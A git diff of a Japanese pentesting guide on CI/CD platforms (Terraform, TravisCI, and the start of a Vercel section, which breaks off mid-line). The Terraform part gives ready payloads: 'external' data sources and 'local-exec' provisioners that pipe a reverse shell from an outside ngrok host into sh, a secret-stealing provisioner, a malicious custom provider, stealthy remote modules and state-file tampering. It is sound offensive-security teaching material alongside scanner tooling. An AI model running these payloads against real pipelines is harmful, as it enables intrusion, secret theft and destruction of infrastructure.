@@ Terraformは、クラウドプラットフォームや他のサービス上で ![](<../images/image (177).png>) -HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。 +HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千種類のリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。 -Terraformのコアワークフローは、3つのステージで構成されています。 +コアTerraformワークフローは、3つのステージで構成されています: -- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。 -- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。 -- **適用:** 承認後、Terraformはリソースの依存関係を尊重しながら、提案された操作を正しい順序で実行します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。 +- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための構成を作成することがあります。 +- **計画:** Terraformは、既存のインフラストラクチャと構成に基づいて、作成、更新、または破棄するインフラストラクチャを説明する実行計画を作成します。 +- **適用:** 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。 ![](<../images/image (215).png>) @@ -28,33 +28,33 @@ Terraformのコアワークフローは、3つのステージで構成されて コンピュータにterraformをインストールするだけです。 -こちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。 +ここに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、ここにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。 ## TerraformにおけるRCE -Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform設定ファイルを追加/変更できること**です。 +Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform構成ファイルを追加または変更できること**です。 しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つ必要があります。 -攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform設定を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。 +攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform構成を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。 -実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります: +実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。例えば、**Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -terraformファイルを妥協できれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。 +terraformファイルを妥協できる場合、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行する方法はいくつかあります。 ### Terraform plan -Terraform planは、terraformで**最も使用されるコマンド**であり、開発者やソリューションが常に呼び出すため、**RCEを取得する最も簡単な方法**は、任意のコマンドを実行するterraform設定ファイルを汚染することです。 +Terraform planは、terraformで**最も使用されるコマンド**であり、terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するようにterraform構成ファイルを汚染することです。 **外部プロバイダーを使用する** -Terraformは、Terraformと外部プログラムの間でインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。 +Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。 -terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます: +terraform構成ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **カスタムプロバイダーの使用** -攻撃者は、[Terraform Registry](https://registry.terraform.io/)に[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を送信し、その後、機能ブランチのTerraformコードに追加することができます([こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)): +攻撃者は[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を[Terraform Registry](https://registry.terraform.io/)に送信し、その後、機能ブランチのTerraformコードに追加することができます([こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -プロバイダーは `init` でダウンロードされ、`plan` が実行されるときに悪意のあるコードが実行されます。 +プロバイダーは`init`でダウンロードされ、`plan`が実行されると悪意のあるコードが実行されます。 -[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) に例があります。 +例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。 -**外部参照の使用** +**外部参照を使用する** -前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。以下の提案に従うことで、この攻撃を**よりステルスに**実行できます: +前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。以下の提案に従うことで、この攻撃を**よりステルスに**実行することができます: -- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースをロード**することができます: +- terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む**外部リソースをロード**することができます: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +リバースシェルコードは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)で見つけることができます。 -- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使って注入することでRCEを取得するために悪用することもできます。**\ -`main.tf`ファイルに次のようなペイロードが含まれていることを確認するだけです: +Terraform applyはすべての変更を適用するために実行されますが、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\ +`main.tf`ファイルの最後に次のようなペイロードが含まれていることを確認するだけです: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -**前の技術からの提案**に従って、この攻撃を**外部参照を使用してよりステルス的に実行**します。 +前の技術からの**提案に従って**、この攻撃を**外部参照を使用してよりステルス的に実行**します。 -## シークレットダンプ +## Secrets Dumps -`terraform apply`を実行することで**terraformによって使用されるシークレット値をダンプ**するには、terraformファイルに次のようなものを追加します: +`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**するには、terraformファイルに次のようなものを追加します: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -130,9 +130,9 @@ terraformステートファイルに書き込みアクセスがあるが、terra リソースを破壊する方法は2つあります: -1. **実際のリソースを削除するために、ランダムな名前のリソースをステートファイルに挿入する** +1. **実際のリソースを破壊するために、ランダムな名前のリソースをステートファイルに挿入する** -terraformはそのリソースが存在すべきではないと判断し、それを削除します(指定された実際のリソースIDに従って)。前のページの例: +terraformはそのリソースが存在すべきではないと判断し、それを破壊します(指定された実際のリソースIDに従って)。前のページの例: ```json { "mode": "managed", @@ -148,13 +148,13 @@ terraformはそのリソースが存在すべきではないと判断し、そ ] }, ``` -2. **リソースを削除するように変更し、更新できないようにする(そうすれば削除され再作成される)** +2. **リソースを削除するように変更して、更新できないようにする(そうすれば削除されて再作成される)** -EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。 +EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformが削除して再作成します。 ### RCE -[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加することができます。元の研究からの例: +[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加します。元の研究からの例: ```json "resources": [ { @@ -169,7 +169,7 @@ EC2インスタンスの場合、インスタンスのタイプを変更する ``` ### ブラックリストに登録されたプロバイダーの置き換え -`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。 +`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開された external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。 ```terraform terraform { required_providers { @@ -206,11 +206,11 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。 +**Checkov**は、インフラストラクチャをコードとして扱う(IaC)ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析(SCA)ツールでもあります。 -これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。 +それは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/)を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。 -これは、一般的な脆弱性および露出 (CVE) のためのオープンソースパッケージと画像のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。 +それは、一般的な脆弱性および露出(CVE)に対するオープンソースパッケージと画像のスキャンである[ソフトウェア構成分析(SCA)スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)を実行します。 ```bash pip install checkov checkov -d /path/to/folder @@ -223,8 +223,8 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com - **behaviour driven development:** ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか? - **portable:** `pip` からインストールするか、`docker` 経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/) を参照してください - **pre-deploy:** デプロイされる前にコードを検証します -- **easy to integrate:** パイプライン(またはgitフック)で実行でき、すべてのデプロイメントが検証されることを保証します。 -- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。 +- **easy to integrate:** パイプライン(またはgitフック)で実行して、すべてのデプロイが検証されることを保証できます。 +- **segregation of duty:** テストを別のリポジトリに保管し、別のチームが責任を持つことができます。 > [!NOTE] > 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan` を実行してこのツールを使用することはできません。 @@ -254,7 +254,7 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。 +**KICS**を使用して、インフラストラクチャコードの開発サイクルの初期段階でセキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を見つけます。 **KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。 ```bash @@ -262,13 +262,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことができます: +From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コードアナライザーです。Terrascanを使用すると、次のことができます: - インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。 -- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、姿勢の変化を引き起こすものを特定し、安全な姿勢に戻すことを可能にします。 +- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを導入し、セキュアなポスチャーに戻すことを可能にします。 - セキュリティの脆弱性やコンプライアンス違反を検出します。 - クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。 -- ローカルで実行する柔軟性や、CI\CDと統合することを提供します。 +- ローカルで実行する柔軟性や、CI\CDと統合することができます。 ```bash brew install terrascan ``` diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 44b9c6233..4be5d1bf2 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRsは、攻撃者の視点からこれらのプラットフォームをどのように(悪用)するかを説明することを歓迎します。 +攻撃者の視点からこれらのプラットフォームをどのように(悪用)するかを説明するGithub PRを歓迎します - Drone - TeamCity diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index fbf15b879..26eb02c94 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,63 +1,63 @@ -# TravisCI Security +# TravisCI セキュリティ {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## TravisCI とは -**Travis CI**は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、いくつかの**異なるgitプラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。 +**Travis CI** は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、複数の**異なる git プラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。 {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## 攻撃 -### Triggers +### トリガー -攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCIは**プッシュとプルリクエストでビルドをトリガーします**: +攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCI は**プッシュとプルリクエストでビルドをトリガーします**: ![](<../../images/image (145).png>) -#### Cron Jobs +#### Cron ジョブ -ウェブアプリケーションにアクセスできる場合、**ビルドを実行するためのクロンを設定できます**。これは持続性のためやビルドをトリガーするために役立つかもしれません: +Web アプリケーションにアクセスできる場合、**ビルドを実行するための cron を設定できます**。これは持続性のためやビルドをトリガーするために役立ちます: ![](<../../images/image (243).png>) > [!NOTE] -> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml`内でクロンを設定することはできないようです。 +> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml` 内で cron を設定することはできないようです。 -### Third Party PR +### サードパーティ PR -TravisCIはデフォルトで、第三者からのPRと環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリにPRを作成して秘密を抽出することができます: +TravisCI はデフォルトでサードパーティからの PR と環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリに PR を作成して秘密を抽出することができます: ![](<../../images/image (208).png>) -### Dumping Secrets +### 秘密のダンプ -[**基本情報**](basic-travisci-information.md)ページで説明されているように、秘密には2種類あります。**環境変数の秘密**(ウェブページにリストされています)と、**カスタム暗号化された秘密**で、これは`.travis.yml`ファイル内にbase64として保存されています(両方とも暗号化されて保存されると、最終的なマシンの環境変数として表示されます)。 +[**基本情報**](basic-travisci-information.md) ページで説明されているように、秘密には 2 種類あります。**環境変数の秘密**(Web ページにリストされています)と、**カスタム暗号化された秘密**で、これは `.travis.yml` ファイル内に base64 として保存されています(両方とも暗号化されて保存されると、最終的なマシンの環境変数として扱われます)。 -- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクトの環境変数は、ビルドをトリガーすると表示されることに注意してください。 -- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml`ファイルを確認する**ことです。 -- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc`ファイル**を確認するか、設定ファイル内の`openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`に似た行を探すか、次のような**環境変数**内の**暗号化されたivとキー**を探します: +- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクト環境変数は、ビルドをトリガーすると表示されることに注意してください。 +- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml` ファイルを確認する**ことです。 +- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc` ファイル**を確認するか、設定ファイル内の `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` に似た行を探すか、次のような**環境変数**内の**暗号化された iv とキー**を探します: ![](<../../images/image (81).png>) ### TODO: -- Windows/Mac/Linuxでリバースシェルを実行する例のビルド -- ログにエンコードされた環境変数を漏洩させる例のビルド +- Windows/Mac/Linux で実行されるリバースシェルを持つビルドの例 +- ログにエンコードされた環境変数を漏洩させるビルドの例 -### TravisCI Enterprise +### TravisCI エンタープライズ -攻撃者が**TravisCIエンタープライズ**を使用している環境に入った場合(これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照)、彼は**Workerでビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります: +攻撃者が**TravisCI エンタープライズ**を使用している環境に入った場合(これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照)、彼は**Worker でビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります: -- ホストに逃げる? -- Kubernetesを侵害する? -- 同じネットワーク内で動作している他のマシンを侵害する? +- ホストに脱出する? +- Kubernetes を侵害する? +- 同じネットワーク内の他のマシンを侵害する? - 新しいクラウド資格情報を侵害する? -## References +## 参考文献 - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index aa493f433..0104cb883 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,10 +1,10 @@ -# Basic TravisCI Information +# 基本的なTravisCI情報 {{#include ../../banners/hacktricks-training.md}} ## アクセス -TravisCIは、Github、Bitbucket、Assembla、Gitlabなどのさまざまなgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。 +TravisCIは、Github、Bitbucket、Assembla、Gitlabなどの異なるgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。 例えば、Githubでは以下の権限を求めます: @@ -20,18 +20,18 @@ TravisCIでは、他のCIプラットフォームと同様に、**リポジト ![](<../../images/image (203).png>) -**秘密が利用可能なブランチを指定する**ことが可能です(デフォルトではすべて)し、またTravisCIが**ログに表示された場合にその値を隠すべきか**(デフォルトでは隠します)も指定できます。 +**秘密が利用可能になるブランチを指定する**ことが可能です(デフォルトではすべて)し、またTravisCIが**ログに表示された場合にその値を隠すべきか**(デフォルトでは隠します)も指定できます。 ### カスタム暗号化された秘密 -**各リポジトリ**に対して、TravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供**します。 +**各リポジトリ**に対してTravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供します**。 リポジトリの公開鍵にアクセスするには、次のようにします: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -その後、このセットアップを使用して**秘密を暗号化し、それを`.travis.yaml`に追加することができます**。秘密は**ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。 +このセットアップを使用して、**秘密を暗号化し、それを `.travis.yaml` に追加できます**。秘密は **ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。 ![](<../../images/image (139).png>) @@ -39,7 +39,7 @@ travis pubkey -r carlospolop/t-ci-test ### カスタム暗号化ファイル -以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することを許可します**: +以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することも許可します**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -57,31 +57,31 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -注意:ファイルを暗号化する際、リポジトリ内に2つの環境変数が設定されます。 +ファイルを暗号化する際には、リポジトリ内に2つの環境変数が設定されることに注意してください。 ![](<../../images/image (170).png>) -## TravisCIエンタープライズ +## TravisCI Enterprise -Travis CIエンタープライズは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャ内にデプロイ**できます。Travis CIの「サーバー」版と考えてください。Travis CIを使用することで、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント(CI/CD)システムを有効にできます。 +Travis CI Enterpriseは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャにデプロイすることができます**。Travis CIの「サーバー」版と考えてください。Travis CIを使用すると、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント(CI/CD)システムを有効にすることができます。 -**Travis CIエンタープライズは2つの主要な部分で構成されています:** +**Travis CI Enterpriseは2つの主要な部分で構成されています:** -1. TCI **サービス**(またはTCIコアサービス)は、バージョン管理システムとの統合、ビルドの認証、ビルドジョブのスケジューリングなどを担当します。 +1. TCI **サービス**(またはTCIコアサービス)は、バージョン管理システムとの統合、ビルドの承認、ビルドジョブのスケジューリングなどを担当します。 2. TCI **ワーカー**およびビルド環境イメージ(OSイメージとも呼ばれます)。 **TCIコアサービスには以下が必要です:** 1. **PostgreSQL11**(またはそれ以降)のデータベース。 2. Kubernetesクラスターをデプロイするためのインフラストラクチャ;必要に応じてサーバークラスターまたは単一のマシンにデプロイできます。 -3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CIエンタープライズの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。 +3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CI Enterpriseの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。 **TCIワーカーには以下が必要です:** 1. **ワーカーとリンクされたビルドイメージを含むdockerイメージをデプロイできるインフラストラクチャ**。 2. 特定のTravis CIコアサービスコンポーネントへの接続 - 詳細については[ワーカーの設定](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)を参照してください。 -デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CIエンタープライズデプロイメントの総同時容量を決定します。 +デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CI Enterpriseデプロイメントの総同時容量を決定します。 ![](<../../images/image (199).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 557f94c11..9ce83b4c9 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -4,9 +4,9 @@ ## 基本情報 -Vercelでは、**チーム**はクライアントに属する完全な**環境**であり、**プロジェクト**は**アプリケーション**です。 +Vercelにおいて、**チーム**はクライアントに属する完全な**環境**であり、**プロジェクト**は**アプリケーション**です。 -**Vercel**のハードニングレビューを行うには、**Viewer role permission**を持つユーザー、または少なくとも**プロジェクトに対するProject viewer permission**を持つユーザーに依頼して、プロジェクトを確認する必要があります(チーム設定も確認する必要がない場合)。 +**Vercel**のハードニングレビューを行うには、**Viewer role permission**を持つユーザー、または少なくとも**プロジェクトの閲覧者権限**を持つユーザーに依頼して、プロジェクトを確認する必要があります(チーム設定も確認する必要がない場合)。 ## プロジェクト設定 @@ -19,7 +19,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **転送** - **誤設定:** プロジェクトを別のチームに転送することを許可します。 - **リスク:** 攻撃者がプロジェクトを盗む可能性があります。 -- **プロジェクト削除** +- **プロジェクトの削除** - **誤設定:** プロジェクトを削除することを許可します。 - **リスク:** プロジェクトが削除される可能性があります。 @@ -36,8 +36,8 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **リスク:** ドメインハイジャック、トラフィックの傍受、フィッシング攻撃。 - **SSL/TLS証明書管理** - **誤設定:** 弱いまたは期限切れのSSL/TLS証明書を使用します。 -- 